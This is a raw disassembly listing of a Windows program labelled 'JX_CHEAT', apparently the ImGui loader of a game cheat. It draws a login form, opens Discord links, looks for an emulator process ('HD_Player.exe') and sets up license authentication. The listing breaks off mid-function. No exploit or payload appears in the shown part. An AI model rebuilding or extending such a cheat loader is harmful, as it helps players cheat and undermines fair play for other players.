call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401a4480]
mov rdi, qword [0x1401a44a0]
mov rax, qword [rcx + 0x3ef0]
movss xmm0, dword [rcx + 0x10]
movss xmm1, dword [rcx + 0x14]
movss dword [rbp + 0x3c0], xmm0
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss dword [rbp + 0x3c4], xmm1
mov dword [rbp + 0x3b0], 0x3f800000
mov dword [rbp + 0x3b4], 0x3f800000
mov rbx, qword [rax + 0x298]
mov qword [rbp + 0x3b8], 0
mov qword [rbp + 0x3c8], 0
mov rsi, qword [rbx + 0x98]
cmp rdi, rsi
je 0x140046f59
mov rdx, rdi
mov rcx, rbx
call fcn.1400211e0
mov edx, 6
mov rcx, rbx
lea r8d, [rdx - 2]
call fcn.140021260
lea rax, [rbp + 0x3b0]
mov dword [rsp + 0x28], 0xffffffff
lea r9, [rbp + 0x3b8]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x3c0]
mov rcx, rbx
lea rdx, [rbp + 0x3c8]
call fcn.1400213a0
cmp rdi, rsi
je 0x140046feb
cmp dword [rbx + 0x68], 0
jg 0x140046fc0
mov r8d, 0x71b
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0x68]
lea eax, [rcx - 1]
mov dword [rbx + 0x68], eax
test eax, eax
jne 0x140046fd3
mov rax, r15
jmp 0x140046fdc
mov rax, qword [rbx + 0x70]
mov rax, qword [rax + rcx*8 - 0x10]
mov rcx, rbx
mov qword [rbx + 0x98], rax
call fcn.140020f70
mov esi, 1
mov rax, qword [0x1401a4480]
test rax, rax
jne 0x14004701d
mov r8d, 0xb89
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
mov qword [rax + 0x37f8], 0
test rax, rax
jne 0x14004704e
mov r8d, 0xb89
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401a4480]
movss xmm0, dword [0x140172108]
lea rcx, str._JX_CHEAT
movss xmm1, dword [0x14017210c]
xor edx, edx
mov dword [rax + 0x3804], r15d
mov r8d, 0xaf
mov dword [rax + 0x383c], 0x41200000
mov dword [rax + 0x3840], 0x41200000
or dword [rax + 0x47c8], 3
movss dword [rax + 0x47e8], xmm0
movss dword [rax + 0x47ec], xmm1
mov dword [rax + 0x3864], 0x40a00000
mov dword [rax + 0x47d0], esi
mov qword [rax + 0x47d8], 0
mov qword [rax + 0x47e0], 0
mov dword [rax + 0x47cc], esi
call fcn.14000e660
mov rcx, qword [0x1401a44b0]
lea rdx, [0x1401a44c0]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov r8, qword [0x1401a4480]
lea rcx, [rbp + 0x940]
mov qword [rbp + 0x3d8], 0
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1401da37c]
movss xmm0, dword [0x1401da378]
movss dword [rbp + 0x944], xmm1
movss xmm1, dword [0x1401da384]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0x940], xmm0
movss xmm0, dword [0x1401da380]
movss dword [rbp + 0x94c], xmm1
movss xmm1, dword [0x14017210c]
movss dword [rbp + 0x948], xmm0
movss xmm0, dword [0x140172108]
movss dword [rbp + 0x3d4], xmm1
movss dword [rbp + 0x3d0], xmm0
call fcn.140004010
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0x3d8]
movss xmm0, dword [0x14015a350]
lea r8, [rbp + 0x3d0]
mov r9d, eax
mov dword [rsp + 0x28], r15d
movss dword [rsp + 0x20], xmm0
mov rcx, qword [rcx + 0x298]
call fcn.140023b10
movd xmm0, dword [0x1401a44c0]
lea r8, [rbp + 0x3f0]
movd xmm1, dword [0x1401a44c4]
lea rdx, [rbp + 0x400]
cvtdq2ps xmm0, xmm0
mov dword [rbp + 0x3f8], 0
mov dword [rbp + 0x408], 0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x3f0], xmm0
movd xmm0, dword [rbp + 0x3e0]
movss dword [rbp + 0x3f4], xmm1
movd xmm1, dword [rbp + 0x3e4]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x400], xmm0
movss dword [rbp + 0x404], xmm1
call fcn.14004fd00
mov r8, qword [0x1401a4480]
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [r8 + 0x3ef0]
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1401da37c]
movss xmm0, dword [0x1401da378]
movss dword [rbp + 0x954], xmm1
movss xmm1, dword [0x1401da384]
mulss xmm1, dword [r8 + 0x37f0]
movss dword [rbp + 0x950], xmm0
movss xmm0, dword [0x1401da380]
movss dword [rbp + 0x95c], xmm1
movss dword [rbp + 0x958], xmm0
movss xmm0, dword [0x140172108]
lea rcx, [rbp + 0x950]
movss xmm1, dword [0x14017210c]
movss dword [rbp + 0x3e8], xmm0
movss dword [rbp + 0x3ec], xmm1
mov qword [rbp + 0x130], 0
call fcn.140004010
mov rcx, qword [r8 + 0x3ef0]
lea rdx, [rbp + 0x130]
movss xmm0, dword [0x14015a310]
lea r8, [rbp + 0x3e8]
movss dword [rsp + 0x30], xmm0
mov r9d, eax
movss xmm0, dword [0x14015a350]
mov rcx, qword [rcx + 0x298]
movss dword [rsp + 0x20], xmm0
call fcn.140023a30
mov rcx, qword [0x1401a4480]
movss xmm0, dword [0x140172108]
subss xmm0, dword [0x14015a398]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
movss xmm2, dword [rax + 0x20]
movss xmm1, dword [rax + 0x24]
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
addss xmm1, xmm11
movss dword [rax + 0x100], xmm2
movss dword [rax + 0x104], xmm1
call fcn.140015aa0
call fcn.140015bf0
mov eax, dword [0x1401da19c]
mov edi, dword [0x1401a4490]
cmp edi, eax
jne 0x140047399
movaps xmm6, xmm15
jmp 0x14004739d
movaps xmm6, xmm10
mov rbx, qword [0x1401a4480]
test rbx, rbx
jne 0x1400473d6
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov eax, dword [0x1401da19c]
mov rbx, qword [0x1401a4480]
mov edi, dword [0x1401a4490]
movss xmm8, dword [rbx + 0x18]
movaps xmm0, xmm8
mulss xmm0, dword [0x14015a350]
mulss xmm0, xmm6
addss xmm0, dword [0x1401da198]
comiss xmm12, xmm0
jbe 0x140047400
movaps xmm6, xmm12
jmp 0x140047408
movaps xmm6, xmm15
minss xmm6, xmm0
movss dword [0x1401da198], xmm6
cmp edi, eax
jne 0x14004741a
movaps xmm7, xmm15
jmp 0x14004741e
movaps xmm7, xmm10
movss xmm0, dword [0x14015a3fc]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, xmm8
mulss xmm0, xmm7
addss xmm0, dword [0x1401da438]
comiss xmm12, xmm0
jbe 0x140047448
movaps xmm1, xmm12
jmp 0x140047450
movaps xmm1, xmm15
minss xmm1, xmm0
ucomiss xmm6, xmm12
movss dword [0x1401da438], xmm1
jp 0x14004746e
jne 0x14004746e
ucomiss xmm1, xmm12
jp 0x14004746e
jne 0x14004746e
mov dword [0x1401da19c], edi
movss xmm0, dword [rbx + 0x37f0]
lea rcx, [rbx + 0x4848]
mulss xmm6, dword [rbx + 0x37f0]
lea rdx, [rbp + 0x970]
mov dword [rbp + 0x970], r15d
movss dword [rbp + 0x974], xmm0
call fcn.14001e4a0
mov eax, dword [0x1401da19c]
movss dword [rbx + 0x37f0], xmm6
test eax, eax
jne 0x140047fa8
mov r8, qword [0x1401a4480]
lea rcx, [rbp + 0x960]
mov dword [rbp + 0x138], 0x3f800000
mov dword [rbp + 0x13c], 0x3f800000
mov qword [rbp + 0x140], 0
mov rax, qword [r8 + 0x3ef0]
mov dword [rbp + 0x148], 0x42c80000
mov dword [rbp + 0x14c], 0x42b40000
mov dword [rbp + 0x150], 0x3f800000
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1401da26c]
movss xmm0, dword [0x1401da268]
movss dword [rbp + 0x964], xmm1
movss xmm1, dword [0x1401da274]
mulss xmm1, dword [r8 + 0x37f0]
mov dword [rbp + 0x154], 0x3f800000
movss dword [rbp + 0x960], xmm0
movss xmm0, dword [0x1401da270]
movss dword [rbp + 0x96c], xmm1
movss dword [rbp + 0x968], xmm0
call fcn.140004010
mov rcx, qword [r8 + 0x3ef0]
lea r9, [rbp + 0x148]
mov rdx, qword [0x1401a44f8]
lea r8, [rbp + 0x150]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x138]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
mov rcx, qword [rcx + 0x298]
mov qword [rsp + 0x20], rax
call fcn.140023e10
mov rcx, qword [0x1401a44f0]
mov rdi, qword [0x1401a4480]
mov rbx, rcx
mov qword [rbp - 0x68], rcx
test rcx, rcx
jne 0x140047602
mov rcx, qword [rdi + 0x68]
mov rbx, rcx
test rcx, rcx
jne 0x1400475fe
mov rbx, qword [rdi + 0x58]
cmp dword [rbx + 0x58], ecx
jg 0x1400475f4
mov r8d, 0x705
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x60]
mov rcx, qword [rax]
mov rbx, rcx
mov qword [rbp - 0x68], rcx
call fcn.140011c90
lea rcx, [rdi + 0x4858]
lea rdx, [rbp - 0x68]
call fcn.14001e800
mov rdx, qword [rbx + 0x40]
mov rcx, qword [rdi + 0x3ef0]
mov rdx, qword [rdx + 8]
mov rcx, qword [rcx + 0x298]
call fcn.1400211e0
mov rcx, qword [0x1401a4480]
lea rbx, str.JX_CHEAT
movss xmm8, dword [0x14015a42c]
lea rdx, [rbp + 0x158]
mov qword [rsp + 0x30], r15
movaps xmm3, xmm8
mov qword [rsp + 0x28], rbx
movss xmm2, dword [rcx + 0x3c40]
mov rcx, qword [rcx + 0x3c38]
movss dword [rsp + 0x20], xmm10
call fcn.14002a150
movss xmm0, dword [rbp + 0x158]
lea rcx, [rbp + 0x810]
movsd xmm2, qword [0x14015a340]
movss xmm7, dword [0x14015a2f4]
addss xmm0, xmm7
mov dword [rbp + 0x164], 0x42700000
cvttss2si eax, xmm0
movd xmm1, eax
mov rax, qword [0x1401a4480]
cvtdq2ps xmm1, xmm1
cvtps2pd xmm0, xmm1
movss dword [rbp + 0x158], xmm1
movss xmm1, dword [0x1401da2a8]
subsd xmm2, xmm0
movss dword [rbp + 0x810], xmm1
movss xmm1, dword [0x1401da2b0]
movss dword [rbp + 0x818], xmm1
movss xmm1, dword [0x1401da21c]
addsd xmm2, qword [0x14015a338]
movss dword [rbp + 0x824], xmm1
cvtpd2ps xmm0, xmm2
movss xmm2, dword [rax + 0x37f0]
movss dword [rbp + 0x160], xmm0
movss xmm0, dword [0x1401da2ac]
movss dword [rbp + 0x814], xmm0
movaps xmm0, xmm2
mulss xmm0, dword [0x1401da2b4]
mulss xmm2, dword [0x1401da224]
movss dword [rbp + 0x81c], xmm0
movss xmm0, dword [0x1401da218]
movss dword [rbp + 0x820], xmm0
movss xmm0, dword [0x1401da220]
movss dword [rbp + 0x828], xmm0
movss dword [rbp + 0x82c], xmm2
call fcn.140004010
lea rcx, [rbp + 0x820]
mov r8d, eax
call fcn.140004010
movss xmm6, dword [0x14015a3b8]
mov edx, eax
lea rax, [rbp + 0x160]
movaps xmm3, xmm6
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140030ab0
call fcn.140011dc0
mov rcx, qword [0x1401a4480]
test rcx, rcx
jne 0x1400477cd
mov r8d, 0xb89
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401a4480]
mov rax, qword [rcx + 0x3ef0]
movss xmm3, dword [rcx + 0x3840]
movss xmm0, dword [0x140172108]
movss xmm1, dword [0x14017210c]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
mulss xmm0, xmm13
mulss xmm1, xmm13
movss xmm2, dword [rax + 0x20]
subss xmm0, xmm9
subss xmm2, dword [rax + 0x84]
subss xmm1, dword [0x14015a39c]
mulss xmm3, xmm13
addss xmm2, xmm0
movss xmm0, dword [rax + 0x24]
subss xmm0, dword [rax + 0x88]
addss xmm3, xmm3
mov byte [rax + 0x141], 1
movss dword [rax + 0x100], xmm2
subss xmm1, xmm3
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
call fcn.140015aa0
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0x168]
mov qword [rsp + 0x30], r15
lea r8, [0x1401a44e0]
mov dword [rsp + 0x28], r15d
lea rdx, str.Login
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
lea rcx, [0x140158e24]
mov dword [rbp + 0x168], 0x438c0000
mov dword [rbp + 0x16c], 0x420c0000
call fcn.140034a80
mov qword [rsp + 0x38], r15
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], r15
lea r8, [0x1401a44d0]
mov dword [rsp + 0x28], 0x8000
lea rdx, str.Password
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], rax
lea rcx, [0x140158e34]
mov dword [rbp + 0x170], 0x438c0000
mov dword [rbp + 0x174], 0x420c0000
call fcn.140034a80
mov rcx, qword [0x1401a4480]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
cmp byte [rax + 0xbb], 0
jne 0x14004793d
movaps xmm1, xmm10
mov qword [rbp + 0x178], 0
lea rcx, [rbp + 0x178]
call fcn.140015500
movups xmm0, xmmword [0x1401da1e8]
lea rdx, str.I_dont_have_an_account_
lea rcx, [rbp - 0x68]
movups xmmword [rbp - 0x68], xmm0
call fcn.14002fc20
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call fcn.140012da0
test al, al
je 0x140047aa6
mov rcx, qword [0x1401a4480]
cmp byte [rcx + 0x490f], 0
mov r9, qword [rcx + 0x3ef0]
je 0x1400479b8
cmp byte [rcx + 0x490e], 0
jne 0x1400479b8
test byte [rcx + 0x4790], 4
jne 0x140047aa6
mov eax, dword [rcx + 0x48d8]
cmp eax, dword [rcx + 0x478c]
jne 0x140047aa6
test eax, eax
je 0x140047aa6
jmp 0x140047a80
mov eax, dword [rcx + 0x4794]
test al, 1
je 0x140047aa6
cmp qword [rcx + 0x3ef8], r9
je 0x1400479d7
test al, al
jns 0x140047aa6
mov eax, dword [rcx + 0x3f50]
test eax, eax
je 0x1400479fc
cmp eax, dword [rcx + 0x478c]
je 0x1400479fc
cmp byte [rcx + 0x3f5d], 0
jne 0x1400479fc
cmp eax, dword [r9 + 0x7c]
jne 0x140047aa6
mov rdx, qword [rcx + 0x48d0]
test rdx, rdx
je 0x140047a61
mov rdx, qword [rdx + 0x378]
test rdx, rdx
je 0x140047a61
cmp byte [rdx + 0xb7], 0
je 0x140047a61
mov rax, qword [r9 + 0x378]
cmp rdx, rax
je 0x140047a61
mov r8d, dword [rdx + 0x14]
bt r8d, 0x1b
jb 0x140047a3b
bt r8d, 0x1a
jae 0x140047a61
cmp qword [rax + 0x378], rdx
je 0x140047a61
cmp rax, rdx
je 0x140047a61
mov rax, qword [rax + 0x370]
test rax, rax
jne 0x140047a44
test dword [rcx + 0x4790], 0x100
je 0x140047aa6
test byte [rcx + 0x4790], 4
jne 0x140047aa6
mov eax, dword [r9 + 0x7c]
cmp dword [rcx + 0x478c], eax
jne 0x140047a80
cmp byte [r9 + 0xb8], 0
jne 0x140047aa6
mov dword [rsp + 0x28], 5
lea r8, str.https:__discord.gg_f55vFVMHzh
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, [rbp + 0x180]
mov dword [rbp + 0x180], 0x438c0000
lea rcx, str.Launch
mov dword [rbp + 0x184], 0x420c0000
call fcn.1400304c0
test al, al
je 0x140047ec5
xor edx, edx
mov edi, r15d
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rbp + 0xa20]
mov dword [rbp + 0xa20], 0x130
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140047b44
nop dword [rax]
nop dword [rax + rax]
lea rdx, str.HD_Player.exe
lea rcx, [rbp + 0xa4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140047b3e
lea rdx, [rbp + 0xa20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140047b10
jmp 0x140047b44
mov edi, dword [rbp + 0xa28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140047b6b
xor r9d, r9d
lea rdx, str.Open_Emulator
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x140047ec5
xorps xmm0, xmm0
mov qword [rbp - 0x28], r15
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x20], r15
lea rax, [0x1401a44d0]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140047b90
mov rdx, rax
lea rcx, [rbp - 0x38]
call fcn.1400390d0
xorps xmm0, xmm0
mov qword [rbp - 0x58], r15
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x50], r15
lea rax, [0x1401a44e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140047bc3
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.1400390d0
lea r8, [rbp - 0x38]
lea rdx, [rbp - 0x68]
lea rcx, [0x1401c5690]
call fcn.1400c7690
mov r15, qword [0x1401c57e0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 6
jb 0x14004c085
cmp qword [0x1401c57e8], 0xf
lea r14, [0x1401c57d0]
lea rsi, [r15 + 6]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r14, qword [0x1401c57d0]
lea rdi, [rsp + 0x68]
xor eax, eax
xorps xmm0, xmm0
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
movups xmmword [rsp + 0x68], xmm0
cmp rsi, rbx
jbe 0x140047cc2
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140047c6a
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x140047c91
cmp rbx, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140047cb0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004c08b
mov rcx, rax
call fcn.14011b630
test rax, rax
je 0x14004bffd
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140047cbd
test rcx, rcx
je 0x140047cba
call fcn.14011b630
mov rdi, rax
mov qword [rsp + 0x68], rdi
mov eax, dword [str.User:]
lea rcx, [rdi + 6]
mov qword [rsp + 0x78], rsi
mov r8, r15
mov qword [rbp - 0x80], rbx
mov rdx, r14
mov dword [rdi], eax
movzx eax, word [0x140158e8c]
mov word [rdi + 4], ax
call sub.VCRUNTIME140.dll_memcpy
xorps xmm0, xmm0
mov byte [rdi + rsi], 0
lea rdx, [rbp - 0x38]
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
call fcn.14003df80
cmp qword [rbp - 0x80], 0xf
lea rbx, [rsp + 0x68]
xorps xmm0, xmm0
mov edx, 4
cmova rbx, qword [rsp + 0x68]
xor eax, eax
mov qword [rbp + 0x410], rax
mov qword [rbp + 0x428], rax
mov qword [rbp + 0x450], rax
mov qword [rbp + 0x498], rax
mov rax, qword gs:[0x58]
movups xmmword [rbp + 0x478], xmm0
movups xmmword [rbp + 0x488], xmm0
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401da424], eax
jle 0x140047d94
lea rcx, [0x1401da424]
call fcn.14011b5b8
cmp dword [0x1401da424], 0xffffffff
jne 0x140047d94
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [0x1401da424]
mov qword [0x1401da428], rax
call fcn.14011b54c
mov rax, qword [0x1401da428]
lea rcx, [rbp + 0x410]
mov qword [rbp + 0x420], rax
lea rax, str.https:__s1.ezgif.com_tmp_ezgif_1_c5c3f21586.gif
mov qword [rbp + 0x430], rax
lea rax, str.https:__media4.giphy.com_media_xmOMPI63SsyZyKz2Tx_giphy.gif_cid790b7611485d6e9b471bcd8f93609e96f8a02c35a7e05685ridgiphy.gifcts
mov qword [rbp + 0x440], rax
lea rax, str.JX_Cheat
mov qword [rbp + 0x438], rax
lea rax, str.jneyen666
mov qword [rbp + 0x448], rax
lea rax, str.Youtube
mov qword [rbp + 0x458], rax
lea rax, str.https:__www.youtube.com__janx_22
mov qword [rbp + 0x460], rax
lea rax, str.Discord
mov qword [rbp + 0x468], rax
lea rax, str.https:__discord.gg_mkkvMaYjWf
mov qword [rbp + 0x470], rax
mov qword [rbp + 0x418], rbx
call fcn.14003e7d0
cmp byte [0x1401c58a0], 0
jne 0x140047e5c
cmp qword [0x1401c58c0], 0xf
lea rdx, [0x1401c58a8]
cmova rdx, qword [0x1401c58a8]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r15d, r15d
lea esi, [r15 + 1]
jmp 0x140047e82
mov esi, 1
mov dword [0x1401a44a8], 0
xor r15d, r15d
mov dword [0x1401a4490], esi
mov byte [reloc.WS2_32.dll_accept], sil
mov dword [0x1401da148], r15d
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140047ebe
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047eb9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004bffd
call fcn.14011b97c
mov r14d, dword [reloc.WS2_32.dll_accept]
call fcn.140015bf0
mov rcx, qword [0x1401a4480]
movss xmm2, dword [0x140172108]
mulss xmm2, xmm13
mov rax, qword [rcx + 0x3ef0]
subss xmm2, dword [0x14015a370]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
subss xmm2, xmm14
movss xmm0, dword [rax + 0x20]
subss xmm0, dword [rax + 0x84]
movss xmm1, dword [rax + 0x24]
subss xmm1, dword [rax + 0x88]
mov byte [rax + 0x141], 1
addss xmm2, xmm0
movss xmm0, dword [0x14017210c]
subss xmm0, dword [0x14015a3a4]
movss dword [rax + 0x100], xmm2
addss xmm1, xmm0
movss dword [rax + 0x104], xmm1
call fcn.140015aa0
lea rdx, [rbp + 0x188]
mov dword [rbp + 0x188], 0x420c0000
lea rcx, [0x14014b93c]
mov dword [rbp + 0x18c], 0x420c0000
call fcn.140030d90
test al, al
je 0x140047f9b
mov dword [rsp + 0x28], esi
lea r8, str.https:__discord.gg_f55vFVMHzh
xor r9d, r9d
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140015bf0
mov eax, dword [0x1401da19c]
jmp 0x140047fc1
movss xmm7, dword [0x14015a2f4]
movss xmm8, dword [0x14015a42c]
movss xmm6, dword [0x14015a3b8]
cmp eax, 1
jne 0x140048838
mov r8, qword [0x1401a4480]
lea rcx, [rbp + 0x830]
mov dword [rbp + 0x190], 0x3f800000
mov dword [rbp + 0x194], 0x3f800000
mov qword [rbp + 0x198], 0
mov rax, qword [r8 + 0x3ef0]
mov dword [rbp + 0x1a0], 0x42dc0000
mov dword [rbp + 0x1a4], 0x428c0000
mov dword [rbp + 0x1a8], 0xc1200000
mov byte [rax + 0xb8], 1
movss xmm1, dword [0x1401da26c]
movss xmm0, dword [0x1401da268]
movss dword [rbp + 0x834], xmm1
movss xmm1, dword [0x1401da274]
mulss xmm1, dword [r8 + 0x37f0]
mov dword [rbp + 0x1ac], 0
movss dword [rbp + 0x830], xmm0
movss xmm0, dword [0x1401da270]
movss dword [rbp + 0x83c], xmm1
movss dword [rbp + 0x838], xmm0
call fcn.140004010
mov rcx, qword [r8 + 0x3ef0]
lea r9, [rbp + 0x1a0]
mov rdx, qword [0x1401a44f8]
lea r8, [rbp + 0x1a8]
mov dword [rsp + 0x30], eax
lea rax, [rbp + 0x190]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x198]
mov rcx, qword [rcx + 0x298]
mov qword [rsp + 0x20], rax
call fcn.140023e10
mov rcx, qword [0x1401a4480]
test rcx, rcx
jne 0x1400480ec
mov r8d, 0xfff
lea rdx, str.C:UsersAdministratorDesktopKirbaw_Externalimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401a4480]
movss xmm0, dword [rcx + 0x18]
mulss xmm0, dword [0x14015a360]
addss xmm0, dword [0x1401a44a8]
comiss xmm0, xmm11
movss dword [0x1401a44a8], xmm0
jbe 0x140048119
mov dword [0x1401a4490], 2
movss xmm6, dword [0x14017210c]
lea rbx, str.Loading...
movss xmm2, dword [rcx + 0x3c40]
lea rdx, [rbp + 0x1b0]
mov rcx, qword [rcx + 0x3c38]
movaps xmm3, xmm8
subss xmm6, dword [0x14015a3b4]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm10
call fcn.14002a150
movss xmm0, dword [rbp + 0x1b0]
lea rcx, [rbp + 0x840]
movss xmm3, dword [0x1401da1e8]
addss xmm0, xmm7
movss xmm2, dword [0x1401da1ec]
movss dword [rbp + 0x1bc], xmm6
movss dword [rbp + 0x840], xmm3
movss dword [rbp + 0x844], xmm2
cvttss2si eax, xmm0
movss xmm0, dword [0x140172108]
mulss xmm0, xmm13
movss dword [rbp + 0x850], xmm3
movd xmm1, eax
mov rax, qword [0x1401a4480]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x854], xmm2
movss dword [rbp + 0x1b0], xmm1
mulss xmm1, xmm13
subss xmm0, xmm1
movss xmm1, dword [0x1401da1f0]
movss dword [rbp + 0x848], xmm1
movss dword [rbp + 0x858], xmm1
movss dword [rbp + 0x1b8], xmm0
movss xmm0, dword [0x1401da1f4]
mulss xmm0, dword [rax + 0x37f0]
movss dword [rbp + 0x84c], xmm0
movss dword [rbp + 0x85c], xmm0
call fcn.140004010
lea rcx, [rbp + 0x850]
mov r8d, eax
call fcn.140004010
mov edx, eax
movaps xmm3, xmm12
lea rax, [rbp + 0x1b8]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.140030ab0
mov eax, dword [str.725220]
lea r8, [rsp + 0x68]
xorps xmm0, xmm0
mov qword [rsp + 0x78], 6
movups xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x68], eax
lea rdx, [rbp - 0x38]
movzx eax, word [0x140158ea0]
lea rcx, [0x1401c5690]
mov word [rsp + 0x6c], ax
mov qword [rbp - 0x80], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x6e], 0
call fcn.1400c3320
cmp byte [0x1401c58a0], 0
jne 0x140048442
cmp byte [0x1401586f3], 0
movsd xmm0, qword [0x1401586e8]
mov eax, dword [0x1401586f0]
movsd qword [rbp + 0x28], xmm0
mov dword [rbp + 0x30], eax
je 0x14004840c
mov ecx, r15d
cmp r14d, 2
jl 0x1400483c7
movdqa xmm2, xmmword [0x14015a520]
mov ecx, 8
movdqa xmm4, xmmword [0x14015a700]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x14015a540]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015a550]
psubd xmm2, xmm0
